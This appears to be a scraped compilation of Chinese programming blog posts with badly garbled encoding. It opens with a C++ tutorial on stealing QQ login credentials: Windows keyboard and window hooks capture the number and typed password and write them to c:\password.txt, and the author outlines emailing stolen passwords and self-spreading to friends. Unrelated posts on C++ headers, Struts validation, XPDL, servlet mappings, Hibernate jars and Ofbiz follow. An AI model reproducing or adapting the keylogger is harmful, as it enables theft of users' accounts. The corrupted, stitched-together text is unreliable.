BOOL WINAPI SetQQHook(HWND hQQLogin) { //获得登陆框的句柄 BOOL bRet = FALSE; if (hQQLogin != NULL) { DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //q是什么意思?看MSDN g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQQ此处不相同Q?得到QQL(fng)子窗口句? g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQQ此处不相同Q得到QQ密码的子H口句柄 if (g_hNum == NULL) { MessageBox(NULL,"哭了(jin)Q号码句柄都没有得到Q?,"郁闷",0); return FALSE; } if(g_hPsw==NULL) { MessageBox(NULL,"哭了(jin)Q密码句柄都没有得到Q?,"郁闷",0); return FALSE; } 分别键盘HOOKQ和界面部分消息处理的HOOK g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID); g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID); bRet = (g_hProc != NULL) && (g_hKey != NULL); } else { // 卸蝲钩子 bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey); g_hProc = NULL; g_hKey = NULL; g_hNum = NULL; } return bRet; }
上面是安装HOOK部分的代码,p么简单,上面提到?jin)CallWndProcQKeyboardProc是两个回调函敎ͼ是我W三部分要解释的钩子函数
W三部分Q(3Q钩?a class="channel_keylink" >函数的解?/strong>
CallWndProcQKeyboardProc是两个回?a class="channel_keylink" >函数的原型和具体代码如下Q?
// 钩子q程Q监?#8220;登陆”的命令消? LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) { CWPSTRUCT *p = (CWPSTRUCT *)lParam; // 捕获“登陆”按钮 if (p->message == WM_COMMAND && p->wParam ==16032) //下面?a class="channel_keylink" >函数是我在第四部分介l?“处理密码”部分?x)仔l说? //当用L(fng)?jin)登陆按钮,说明QQL(fng)和QQ密码已填写完毕,当然能够去获得密码了(jin) GetPasswrod(); return CallNextHookEx(g_hProc, nCode, wParam, lParam); } // 键盘钩子q程Q监?#8220;登陆”的热键消? LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { // 捕获热键消息Q记录键盘的按键盘过E?pmsg是PMSGcd的,i是全局Staticcd? pmsg[i].wParam =wParam; i++; if (wParam == VK_RETURN) //用户使用键盘“回R”来登陆,用户用了(jin)回R后,p够能够去获得密码? GetPasswrod(); return CallNextHookEx(g_hKey, nCode, wParam, lParam); }
在明白了(jin)q两个钩?a class="channel_keylink" >函数后就能够看后期是如何具体处理密码的了(jin)Q这是下面的第四部分内?br />
W四部分Q(4Q处理密?/strong>
假如(zhn)读C(jin)此处Q我惛_暂停一?x),先让我来帮(zhn)回忆一下前面提到的几个关键的变?br />
W一个:(x)QQL(fng)子窗口句?g_hNum
W二个:(x)QQ密码的子H口句柄 g_hPsw //此部分暂时不使用Q下?br />
W三个:(x)存键盘按键的 pmsg
上面三变量分别出现在W二部分和第三部分,都是全局׃nQsharedQ变?br />
QQ密码的子H口句柄 g_hPsw 此部分暂时不使用Q?zhn)能够看到下面代码中有句用到g_hPsw的语句是我注释掉?jin)的Q原因是无法通过那样d到QQ密码Q得处理按键消息
void GetPasswrod() { //声明变量和初始化 HANDLE f; TCHAR num[13]; TCHAR psw[21]; TCHAR total[50]; int j; memset(num,0,sizeof(num)); memset(total,0,sizeof(total)); memset(psw,0,sizeof(psw)); DWORD dw; //得到QQL(fng)内容Q以为有的h的QQh在登陆框有记录,其QQ号ƈ是用键盘输入? GetWindowText(g_hNum,(LPSTR)num,sizeof(num)); //GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不用,无法q样获得密码 //提取出键盘记?此内容也许全是密码,也许是QQ?QQ密码 for(j=0;j 20;j++) { psw[j]=(TCHAR)pmsg[j*2].wParam ; } psw[j+1]='\0'; //把QQL(fng)和QQ密码写入C盘password.txt? f = CreateFile("c:\\password.txt", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); strcat(total,"L(fng)"); strcat(total,num); strcat(total,"密码:"); strcat(total,psw); WriteFile(f,&total,sizeof(total),&dw,NULL); CloseHandle(f); }
最后在C盘password.txt也许?x)出现这样两U情况:(x)
1Q当QQh没有用输入,而已用的_脓(chung)或是?sh)脑以前有记录则是?x)L(fng)Q?1728812密码QTEST
2Q?当QQh用的键盘输入Q电(sh)脑没有QQ可录时则是Q?L(fng)Q?1728812密码Q?1728812TEST
能够看出Q第2U情冉|QQ当成?jin)密码?jin)Q所以密码还得减去QQP特别说明Q我q样直接处理wParam参数Q得到的字符密码全是大写的,具体大小写问题我没有没有仔l去处理的,功能实现p?jin),毕竟我用他不用来盗密码的?
上面四部分基本上获得密码的功能介l完毕。凡是没有介l的变量皆是全局变量Q没有提到的函数如:(x)GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile(){皆是Windows APIQ周详用说明请查MSDNQhttp://www.msdn.com),我提到的“HOOK”Q?#8220;钩子”是同一个意思,也许有的地方我说的钩子函敎ͼ而另外一个地方说的是HOOK函数
特别说明Q上面有具体的运行文,׃弟q没有考虑到更多细节,我只是用?#8220;理想”状况下去获得密码Qƈ且或的密码后q没有注重后期密码处理,也许出现密码大小写不W合或是无法得到密码Q请大家千万别笑话,我写q篇菜鸟U别的Blog的原因意在告诉一些对q方面感到疑惑的朋友基本的原理,和希望和大侠们交?Q?br />
后期假如有必要的话,我准备进行改版,按照“真正”的QQ“木马”来写Q如Q对QQ版本q行识别Q密码自动发送到E-MAIL,加入QQַ代码Q其自动传l好友的{功能!请关注我的主?http://www.uisoft.net
注意Q我使用的QQ2005 贺岁?版本P(x)13.5.0.8213Q其他版本的QQ我无法确保能够正得到密码!
参考资料:(x)MSDNQTitilima的QQַ病毒模拟代码, QQ自动登陆器源?br />
QQ自动登陆器源码(VC++Q下?Q?/Files/hijackwust/QQLogin.rar
l常在CSDN以及(qing)其他之类的技术论坛上问关于C++ 头文件的问题。提?gu)些问题的往往是那些刚学C++的新手。当初我是菜鸟的时候也问过cM的问题?/p>
现在来看看下面两个include:
#include<iostream> // q个是1998q标准化以后的标准头文g
#include<iostream.h> // q个是标准化以前的头文?/p>
更本质上的区别就是iostream把标准C++库的lg攑֜一个名位std的namespace里面。而相对的iostream.h则将q些标准lg攑֜全局I间里,同时在标准化以后旧有的C标准库也已经l过攚w了(jin)?使用前者,需要在代码中添加语句:(x)using namespace std;
看看下面q两个头文g
// 标准化后l过攚w的C的标准库Q所有的lg都放在了(jin)std?/p>
#include<cstdio>
// 标准化以前C++中的C标准?/p>
#include<stdio.h>
// 在看看这个头文gC标准库下 Zchar* 的字W处理函数库
#include<string.h>
// 在标准化以后他变成了(jin)q样
#include<cstring>
// 但是很多朋友q看见过q个字符串处理函数库Q他包含?jin)新的string class
#include<string>
l过?jin)标准委员?x)如此大规模手术后Q在98q以前出品的C++~译器(BC3.0QBC5.0Q上能顺利通过~译的源文gQ在支持新标准的~译器上可能无法利通过~译也就是很正常的事?jin)?/p>
[起因]
在回q头来看看标准程序库Q这个程序库늛范围相当q大Q提q了(jin)许许多多好用的功能。正是因h准程序库中class的名U和函数名与W三Ҏ(gu)供的E序库中的class名或是函数名发生名字冲突的可能性大大增大。ؓ(f)?jin)避免这个问题的发生Q标准委员会(x)军_标准程序库中每一样东襉K攑֜namespace std中。但是这么做同时有引来了(jin)一个新的问题。很多C++E序代码依赖那些已经存在很多q的C++ “?#8221;标准E序库(C++q迟未标准化才导致这些情늚发生Q,例如iosteam.h,complex.h{等?/p>
Z(jin)解决q个新出现的问题Q标准化委员?x)决定设计一些新的头文g名,l那些穿上std外的组件所使用。把C++头文件的.hLQ于是就有前面出现的iostreamQ同样C的头文g也做?jin)相同的处理Q同时在前面加上?jin)一个字母cQ以表示是C的头文gQ感觉上有中U族歧视的感觉)(j)。同时标准化委员?x)声明就有的C++头文件将不再列于被支持的名单之中?jin),而旧有的C头文件ؓ(f)?jin)满?#8220;对C的兼Ҏ(gu)?#8221;q个古老契U,仍然l存?gu)zM厅R?/p>
但是Q那些编译器厂商不可能去推翻他们客户的旧有编译器Q也跟本不会(x)去这么做Q,所以那些旧有的C++头文件仍然苟延残喘的zM(jin)下来Qƈ不断的扰乱那些C++新兵的心(j)智?/p>
下面是现在大多数C++开发工兯C头文g的组l状态:(x)
1. 旧的C++头文?比如iostream.hQ他们虽然被标准化委员会(x)所抛弃Q但׃各大厂商Z(jin)各自的商业利益仍然将l箋存活下去Q这些头文g的内容将不处于namespace std中?/p>
2. 新的C++头文件如iostream虽然提供?jin)和旧有头文件相同的功能Q但他的内容都ƈ入了(jin)namespace std中,从而有效避免了(jin)名字污染的问题?/p>
3. 标准C的头文g如stdio.hl箋获得支持Q这cL件的内容q未攑֜std中?/p>
4. C函数库的技能也有对应的新式C++版本Qv名称cMcstdioQ这cd文g的内容也有幸I上?jin)std的外?/p>
其实标准化以后的标准E序库的改动q不只有q些而已Q很多的标准化组仉?#8220;tamplate?#8221;。其中就有元老人物iostream。标准程序库的问题ƈ不是用一,两篇文章可以说清楚的。如果你像进一步的?jin)解C++的标准程序库的话Q你可以看看侯先生的《C++标准E序库》?/p>
一、在对应的Form Baens中重载validateҎ(gu)
在struts-config.xml文g中,action节点下有“validate”q样一个属性。在struts框架中,默认属性是validate=”true”。所以如果想通过Form Baens的重载validateҎ(gu)来验证数据的话,可以不用理会(x)q一炏V题外话Q如果你在struts-config.xml文g中,讄validate="false"的话QvalidateҎ(gu)不起作用。这一点同样对Validate框架来验证数据v作用?/p>
二、通过Validate框架来验证数?/p>
1、首先在struts-config.xml文g中,q加如下代码Q?/p>
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
<set-property property="pathnames"
value="/WEB-INF/validator-rules.xml,/WEB-INF/validations.xml"/>
<set-property property="stopOnFirstError" value="false"/>
</plug-in>
2、然后编写自qForm BaensQ有两种方式可供选择Q?/p>
?写的formBaen需要承ValidatorFormQ而不是第一U方法中的ActionForm
public class UserForm extends ValidatorForm {
private String userId = "";
private String password = "";
public void setUserId(String userId) {
this.userId = userId;
}
public String getUserId() {
return userId;
}
。。。。。?/p>
然后配置struts-config文g
<form-bean name="userForm"
type="com.wxhx.presentation.UserForm"/>
?配置struts-config文g
<form-beans>
<form-bean name=" userForm"
type="org.apache.struts.validator.DynaValidatorForm">
<form-property name=" userId" type="java.lang.String"/>
<form-property name="password" type="java.lang.String"/>
</form-bean>
</form-beans>
3、配|validation.xml文g
<formset>
<form name="userForm"> ----q里的userForm是Form Beans的名?/p>
<field
property="userId"
depends="required">
<arg key="userForm.userId"/>
</field>
<field
property="password"
depends="required,mask">
<arg key="userForm.password"/>
<var>
<var-name>mask</var-name>
<var-value>^[0-9a-zA-Z]*$</var-value>
</var>
</field>
</form>
</formset>
其中key="userForm.userId"和key="userForm.password"需要在资源文g中配|?/p>
q里需要说明一点,例如Q?lt;arg key="userForm.password" resource="false"/>
如果多了(jin)resource="false"q句话,那么它不?x)再从资源文件中dQ而是直接用key值来表示?/p>
以上是通过validatorForm- or DynaValidatorForm来实现Validate验证?/p>
Q附Q?/p>
现在有这样一个问题,Form Beans可以被多个Action应用Q而每个Action可能需要的验证字段都不一栗而在validation.xml中配|的验证方式Q如<form name="userForm">Q是对这个Form Beansq行的。这L(fng)话,如何来验证呢Q?/p>
你的Form Beans可以l承ValidatorActionFormQ当然可以直接配|DynaValidatorActionFormQ。如下所C:(x)
public class UserForm extends ValidatorActionForm {
...
}
或是
<form-bean name=" userForm "
type="org.apache.struts.validator.DynaValidatorActionForm">
...
</form-bean>
struts-config文g配置如下Q?/p>
<action-mappings>
<action path="/technology/createUser"
type="com.wxhx.minihr.CreateUserAction"
name="userForm"/>
<action path="/technology/editUser"
type="com.wxhx.minihr.EditUserAction"
name="userForm"/>
</action-mappings>
validation.xml文g配置如下Q?/p>
<formset>
<form name="/technology/ createUser ">----q里的采用的是action的path路径
<field property="city"
depends="required">
<arg0 key="prompt.city"/>
</field>
</form>
<form name="/technology/editUser ">
<field property="state"
depends="required">
<arg0 key="prompt.state"/>
</field>
</form>
</formset>
关于validator-rules.xmlQ定义了(jin)常用的一些规则,当然也可以自p加新的规则?/p>
q里l常?x)看到msg="errors.required"字样Q也是通过资源文g中配|的Q默认的资源如下Q?/p>
# -- validator --
errors.invalid={0} is invalid.
errors.maxlength={0} can not be greater than {1} characters.
errors.minlength={0} can not be less than {1} characters.
errors.range={0} is not in the range {1} through {2}.
errors.required={0} is required.
errors.byte={0} must be an byte.
errors.date={0} is not a date.
errors.double={0} must be an double.
errors.float={0} must be an float.
errors.integer={0} must be an integer.
errors.long={0} must be an long.
errors.short={0} must be an short.
errors.creditcard={0} is not a valid credit card number.
errors.email={0} is an invalid e-mail address.
q在struts-blank的例子中?x)有Q在开发项目的时候,注意q些默认资源
关于自己定义规则Q以后再作研I?/p>
三、结合上面的两种验证
如果卛_Form Beans中重载了(jin)validateҎ(gu)Q又启用?jin)Validate框架Q那?x)是什么效果呢Q?/p>
׃要启用Validate框架QForm Beans需要承ValidatorFormQ查看ValidatorForm的源代码Q发现validateҎ(gu)已经作了(jin)处理Q真是ؓ(f)Validate框架所服务的)(j)?/p>
那么在Form Beans中重载了(jin)validateҎ(gu)的话Q就?x)覆盖原有ValidatorForm中对应的功能Q所以如果想一L(fng)的话Q需要在Form Beans的validateҎ(gu)中调用errors = super.validate(mapping, request);q句代码是启用Validate框架所要做的工作,然后可以判断errors再作下一步的处理?/p>
当然也可以先做Form Beans中的validateҎ(gu)Q然后启用Validate框架Q要看具体情况而定?/p>
四、启用客L(fng)验证
也是l合validation.xml来验证的Q我把validation.xml相关的内容在复制下来Q便于看清楚Q?/p>
<formset>
<form name="userForm"> ----q里的userForm是Form Beans的名?/p>
<field
property="userId"
depends="required">
<arg key="userForm.userId"/>
</field>
<field
property="password"
depends="required,mask">
<arg key="userForm.password"/>
<var>
<var-name>mask</var-name>
<var-value>^[0-9a-zA-Z]*$</var-value>
</var>
</field>
</form>
</formset>
①在需要客L(fng)验证的jsp中加上这么一?lt;html:javascript formName=" userForm "/>
其中formName是validation.xml?lt;form name="userForm">所对应的内?/p>
②在<html:form中追加一个属性onsubmit="return validateUserForm(this);"
它的语法为:(x)return validate + struts-config.xml中定义的form-bean名称 + (this);
③追?lt;scriptlanguage="Javascript1.1" src="staticJavascript.jsp"></script>
staticJavascript.jsp的内容ؓ(f)Q?/p>
<%@ page language="java" %>
<%-- set document type to Javascript(addresses a bug in Netscape according
to a web resource --%>
<%@ page contentType="application/x-javascript" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<html:javascript dynamicJavascript="false" staticJavascript="true"/>
q只是一U方式,q有其他z的Q具体ؓ(f)啥这P不是很明白,希望得到Q?/p>
比如Q追加onsubmit="return validateUserForm(this);"
<html:javascript formName="userForm" staticJavascript="true"/>
型中的接口一Q此外,对于工作的核心(j)而言Q如何解释XPDL也是关键?/p>
JaWE是目前公认的比较好的ZJava~写的图形化工作定义工P它用的描述语言正是XPDL。如果你自己惛_个简单的工作
处理引擎,?jin)解和解释XPDL是关键的W一步,既然有了(jin)JaWEq个q么好的工具Q而且它还是开源的Q那么ؓ(f)什么不也利用它?/p>
函数库来解释XPDL呢?
JaWE是一个开源的目Q最新的版本可以?a >http://jawe.objectweb.org下蝲?/p>
如果你只是利用它作ؓ(f)XPDL的解释器的话Q只需要以下的Java库文Ӟ(x)
jawexpdl.jar
它同旉要几个运行库Q?br />
xercesImpl.jar
xml-apis.jar
jawelan.jar (如果不涉?qing)中文的描述Q可以不?
另外如果想直接用JaWE的一些现成的囑Ş化工具库Q则需要jawe.jar
下面是个单的代码例子Q?/p>
package org.aas.readXPDL;
import org.enhydra.jawe.xml.*;
import org.enhydra.jawe.xml.elements.*;
import java.util.*;
/**
* @author Jonathan
* @version v0.1
* Main: TODO To declare the description of this type
*/
public class Main {
public static void main(String[] args) {
XMLInterfaceForJDK13 xml = new XMLInterfaceForJDK13();
String strFilename = "XXX.xpdl";
int i = 0;
XMLElement subElement = null;
if (xml.doesPackageFileExists(strFilename))
{
System.out.println("OK!!!");
org.enhydra.jawe.xml.elements.Package pkg = xml.openPackage(strFilename,false);
// pkg = xml.getPackageByFilename(strFilename);
// System.out.println("Version:" + pkg.getVersion());
System.out.println("ElementCount:" + pkg.getElementsCount());
System.out.println("Is made by JaWE:" + pkg.isMadeByJaWE());
System.out.println("Package to string:" + pkg.toString());
System.out.println("ID:" + xml.getIDFromFile(strFilename));
System.out.println("Current Version:" + pkg.getCurrentVersion());
System.out.println("Package ID:" + pkg.get("Id"));
System.out.println("package Name:" + pkg.get("Name"));
// d头信?br />
System.out.println(" --- 头信?---");
PackageHeader pkgh = (PackageHeader)pkg.get("PackageHeader");
System.out.println("Header ElementCount:" + pkgh.getElementsCount());
List pkghList = pkgh.getChildElements();
for (i=0;i<pkghList.size();i++)
{
subElement = (XMLElement)pkghList.get(i);
Object value = subElement.toValue();
System.out.println("No." + i + " : " + subElement.toName()
+ "[" + subElement.toLabel() + "] "
+ value);
}
// 获取WorkflowProcesses
WorkflowProcesses wfps = (WorkflowProcesses)pkg.get("WorkflowProcesses");
System.out.println("WorkflowProcesses Number: " + wfps.size());
Collection wfpList = wfps.toCollection();
Iterator itor = wfpList.iterator();
while(itor.hasNext())
{
WorkflowProcess wfp = (WorkflowProcess)itor.next();
System.out.println(wfp.get("Name"));
System.out.println(wfp.get("Id"));
}
xml.closeAllPackages();
}
else
System.out.println("Error when open the file!");
}
}
熟?zhn)XML操作的朋友一定觉得很单吧Q?br />
XPDL的各个元模型元素在JaWE中都定义成了(jin)对象Q可直接使用Q十分方ѝ?/p>
一Qservlet容器对url的匹配过E:(x)
当一个请求发送到servlet容器的时候,容器先会(x)请求的url减去当前应用上下文的路径作ؓ(f)servlet的映urlQ比如我讉K的是http://localhost/test/aaa.htmlQ我的应用上下文是testQ容器会(x)http://localhost/testLQ剩下的/aaa.html部分拿来做servlet的映匹配。这个映匹配过E是有顺序的Q而且当有一个servlet匚w成功以后Q就不会(x)ȝ?x)剩下的servlet?jin)(filter不同Q后文会(x)提到Q。其匚w规则和顺序如下:(x)
1. _路径匚w。例子:(x)比如servletA 的url-pattern?/testQservletB的url-pattern?/* Q这个时候,如果我访问的url为http://localhost/test Q这个时候容器就?x)?q行_路径匚wQ发?test正好被servletA_匚wQ那么就去调用servletAQ也不会(x)ȝ?x)其他的servlet?jin)?/p>
2. 最长\径匹配。例子:(x)servletA的url-pattern?test/*Q而servletB的url-pattern?test/a/*Q此时访问http://localhost/test/aӞ容器?x)选择路径最长的servlet来匹配,也就是这里的servletB?/p>
3. 扩展匚wQ如果url最后一D包含扩展,容器会(x)Ҏ(gu)扩展选择合适的servlet。例子:(x)servletA的url-patternQ?.action
4. 如果前面三条规则都没有找C个servletQ容器会(x)Ҏ(gu)url选择对应的请求资源。如果应用定义了(jin)一个default servletQ则容器?x)将h丢给default servletQ什么是default servletQ后面会(x)Ԍ(j)?br />
Ҏ(gu)q个规则表,p很清楚的知道servlet的匹配过E,所以定义servlet的时候也要考虑url-pattern的写法,以免出错?/p>
对于filterQ不?x)像servlet那样只匹配一个servletQ因为filter的集合是一个链Q所以只?x)有处理的顺序不同,而不?x)出现只选择一个filter。Filter的处理顺序和filter-mapping在web.xml中定义的序相同?/p>
二,url-pattern详解
在web.xml文g中,以下语法用于定义映射Q?/p>
1.?#8221;/’开头和?#8221;/*”l尾的是用来做\径映的?/p>
2.以前~”*.”开头的是用来做扩展映射的?/p>
3.“/” 是用来定义default servlet映射的?/p>
4.剩下的都是用来定义详l映的。比如:(x) /aa/bb/cc.action
所以,Z么定?#8221;/*.action”q样一个看h很正常的匚w?x)错Q因个匹配即属于路径映射Q也属于扩展映射Q导致容器无法判断?/p>
新徏user_catalog.xml
Q其中I:/Eclipse/CommonPlugins/DTD/ 目录下放|各U从|上下蝲的dtd文gQ?br />
如想d新的dtd文gQ修Ҏ(gu)配置文g卛_?/p>
<?xml version="1.0" encoding="UTF-8"?>
<catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog">
<system systemId="http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" uri="file:///I:/Eclipse/CommonPlugins/DTD/web-app_2_4.xsd"/>
<public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.0.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_0_1.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_0_1.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_0.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_0.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.1.3//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_1_3.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_1_3.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_1.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_1.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Struts Configuration 1.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/struts-config_1_0.dtd" webURL="http://jakarta.apache.org/struts/dtds/struts-config_1_0.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Struts Configuration 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/struts-config_1_1.dtd" webURL="http://jakarta.apache.org/struts/dtds/struts-config_1_1.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Struts Configuration 1.2//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/struts-config_1_2.dtd" webURL="http://jakarta.apache.org/struts/dtds/struts-config_1_2.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Tiles Configuration 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/tiles-config_1_1.dtd" webURL="http://jakarta.apache.org/struts/dtds/tiles-config_1_1.dtd"/>
<public publicId="-//GetAhead Limited//DTD Direct Web Remoting 1.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/dwr10.dtd" webURL="http://www.getahead.ltd.uk/dwr/dwr10.dtd"/>
<public publicId="-//Hibernate/Hibernate Configuration DTD 2.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-configuration-2.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-configuration-2.0.dtd"/>
<public publicId="-//Hibernate/Hibernate Configuration DTD 3.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-configuration-3.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd"/>
<public publicId="-//Hibernate/Hibernate Mapping DTD 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-mapping-1.1.dtd" webURL="http://hibernate.sourceforge.net/hibernate-mapping-1.1.dtd"/>
<public publicId="-//Hibernate/Hibernate Mapping DTD 2.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-mapping-2.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-mapping-2.0.dtd"/>
<public publicId="-//Hibernate/Hibernate Mapping DTD 3.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-mapping-3.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd"/>
<public publicId="-//Hibernate/Hibernate Reverse Engineering DTD 3.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-reverse-engineering-3.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-reverse-engineering-3.0.dtd"/>
<public publicId="-//SPRING//DTD BEAN//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/spring-beans.dtd" webURL="http://www.springframework.org/dtd/spring-beans.dtd"/>
<public publicId="-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/web-jsptaglibrary_1_1.dtd" webURL="http://java.sun.com/j2ee/dtds/web-jsptaglibrary_1_1.dtd"/>
<public publicId="-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/web-jsptaglibrary_1_2.dtd" webURL="http://java.sun.com/j2ee/dtds/web-jsptaglibrary_1_2.dtd"/>
</catalog>
Ҏ(gu)一Q将此文件直接放?D:\Eclipse\workspace\.metadata\.plugins\org.eclipse.wst.xml.core\目录
下,eclipse 自动识别?/p>
Ҏ(gu)二:(x)手动导入此文Ӟ菜单 myeclipse->preferences->MyEclipse->Files and Editors->XML->xml catalog
选择 user specified entries ?Add->Next Catalog duser_catalog.xml
不知需要导入一些什么JAR文gQ导致编译通过Q运行抛异常Q?/font>
Exception in thread "main" java.lang.NoClassDefFoundError: org/dom4j/DocumentException
at com.sd0707.bank.client.Test.main(Test.java:13)
到网上搜索一下才知道倒入?jin)JAR文gQ正好搜到此文,觉得ȝ的不错,便{之备后用Q?/font>
-----------------------------------------------------------------------------------------------------------------------------------
hibernate2.jar:
Hibernate的库Q必M用的jar?/p>
cglib-full-2.0.2.jar
CGLIB库,Hibernate用它来实现PO字节码的动态生成,非常核心(j)的库Q必M用的jar?/p>
dom4j-1.4.jar
dom4j是一个Java的XML APIQ类gjdomQ用来读写XML文g的。dom4j是一个非帔R怼U的Java XML APIQ具有性能优异、功能强大和极端易用使用的特点,同时它也是一个开放源代码的YӞ可以在SourceForge上找到它。在IBM developerWorks上面可以扑ֈ一文章,对主的Java XML APIq行的性能、功能和易用性的评测Qdom4j无论在那个方面都是非常出色的。我早在近两年之前开始用dom4jQ直到现在。如今你可以看到来多的Java软g都在使用dom4j来读写XMLQ特别值得一提的是连Sun的JAXM也在用dom4j。这是必M用的jar包,Hibernate用它来读写配|文件?/p>
odmg-3.0.jar commons-beanutils.jarQ?/span> commons-lang-1.0.1.jar commons-logging-1.0.4.jar ant-optional-1.5.3.jar c3p0-0.8.4.5.jar proxool-0.8.3.jar commons-pool-1.2.jar, commons-dbcp-1.2.1.jar 实际上Hibernate自己也实C(jin)一个非帔R常简单的数据库连接池Q加上上?个,你实际上可以在Hibernate上选择4U不同的数据库连接池Q选择哪一个看个h的偏好,不过DBCP可能更通用一些。另外强调一点,如果在EJB中用HibernateQ一定要用App Server的连接池Q不要用以上4U连接池Q否则容器管理事务不起作用?/p>
connector.jar: jaas.jar jcs-1.0-dev.jar jdbc2_0-stdext.jar: jta.jarQ?/span> junit-3.8.1.jar xalan-2.4.0.jar, xerces-2.4.0.jar, xml-apis.jar:
ODMG是一个ORM的规范,Hibernate实现?jin)ODMG规范Q这是一个核?j)的库,必须使用的jar包?br />
commons-collections-2.1.1.jarQ?/span>
Apache Commons包中的一个,包含?jin)一些Apache开发的集合c,功能比java.util.*强大。必M用的jar包?/p>
Apache Commons包中的一个,包含?jin)一些Bean工具cȝ。必M用的jar包?
*注:(x)我没有在Hibernate的lib中看到这个包Q不q在Struts中看到这个包Q在|上查了(jin)一下,q个包提供了(jin)易用的java反射。我没有用这个包Q也没有出问题(从这里看到的Q?/span>http://www.tkk7.com/kobe09/archive/2006/06/14/52745.aspx Q?/span>
Apache Commons包中的一个,包含?jin)一些数据类型工L(fng)Q是java.lang.*的扩展。必M用的jar包?/p>
Apache Commons包中的一个,包含?jin)日志功能,必须使用的jar包?br />
从网上查到的Q以上ؓ(f)必需的包
anant-1.5.3.jar
Ant~译工具的jar包,用来~译Hibernate源代码的。如果你不准备修改和~译Hibernate源代码,那么没有什么用Q可选的jar?/p>
Ant的一个辅助包?/p>
C3PO是一个数据库q接池,Hibernate可以配置Z用C3POq接池。如果你准备用这个连接池Q就需要这个jar包?/p>
也是一个连接池Q同上?/p>
DBCP数据库连接池QApache的Jakartal织开发的QTomcat4的连接池也是DBCP?/p>
JCA 规范Q如果你在App Server上把Hibernate配置为Connector的话Q就需要这个jar。不q实际上一般App Server肯定?x)带上这个包Q所以实际上是多余的包?/p>
JAAS是用来进行权限验证的Q已l包含在JDK1.4里面?jin)。所以实际上是多余的包?/span>
如果你准备在Hibernate中用JCS的话Q那么必d括它Q否则就不用?/p>
JDBC2.0的扩展包Q一般来说数据库q接池会(x)用上它。不qApp Server都会(x)带上Q所以也是多余的?/p>
JTA规范Q当Hibernate使用JTA的时候需要,不过App Server都会(x)带上Q所以也是多余的?/p>
Junit包,当你q行Hibernate自带的测试代码的时候需要,否则׃用?/p>
Xerces是XML解析器,Xalan是格式化器,xml-apis实际上是JAXP。一般App Server都会(x)带上QJDK1.4也包含了(jin)解析器,不过不是XercesQ是CrimsonQ效率比较差Q不qHibernate用XML只不q是d配置文gQ性能没什么紧要的Q所以也是多余的?/p>
Ofbiz(http://www.ofbiz.org) ?Open Source 的商务Y件系l,充分利用?jin)各优秀的的Open Source 目Q?br />
?Tomcat, Ant, BeanShell, Jboss {,构徏?jin)一个强大的pȝq_QOfbiz 已经完成?jin)大部分商务cY件系l?br />
都需要的部gQ像用户认证、工作流、商务规则处理等QOfbiz 的核?j)技术在?Entity EngineQ其他的lg基本?br />
是基于它的。简单来?Entity Engine 的主要功能是数据库表创建、对象与数据表的映射、对象的查询{做?jin)强?br />
装Q你可以在一个简单的 XML 文g中定义数据库表结构,Ofbiz ?x)自动帮你在数据库徏表,q动态生成映对象,
你在E序中可以只考虑?Object 的处理,Ofbiz ?x)自动通过事务逻辑更新到数据库中。Ofbiz 宣称的优点之一是用
很少?Code 完成复杂的处理?/p>
